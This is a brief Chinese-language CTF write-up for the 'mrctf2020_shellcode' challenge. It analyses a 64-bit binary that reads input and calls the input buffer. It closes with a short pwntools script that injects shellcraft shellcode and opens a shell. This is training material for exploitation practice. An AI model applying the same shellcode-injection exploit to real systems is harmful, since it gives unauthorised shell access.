拿到附件后,先file
一下;
看到是个64bit的程序,拖到ida64里;
再checksec
一下附件,看看保护情况;
栈没有保护,有可读可写可执行的段;
可以dbg调试一下,看看具体情况;
可以看到有一个段可读可写可执行,栈也确实没有什么保护;
现在去IDA分析一下程序;
变量参数如下
可以看到前几行在设置标准输入输出和错误;
接着输出"Show me your magic!
";
然后read
一个400bytes
的数据;
接着是关键代码,将$eax
赋值给[rbp+var_4]
,接着与0
进行比较;
>0
则执行:
[rbp+buf]
地址赋值给$rax
;
然后call
这个地址;
≤0
则执行(即退出):
看到这就可以写个shellcode到buf中,让程序能够跳到这个地址来执行shellcode;
# coding='utf-8'
from pwn import *
context(arch='amd64',os='linux',terminal=['tmux','sp','-h'])
p = process('./mrctf2020_shellcode')
shellcode = asm(shellcraft.sh())
p.send(shellcode)
p.interactive()
可以看到执行后弹出了shell;
连buuoj后,可拿flag;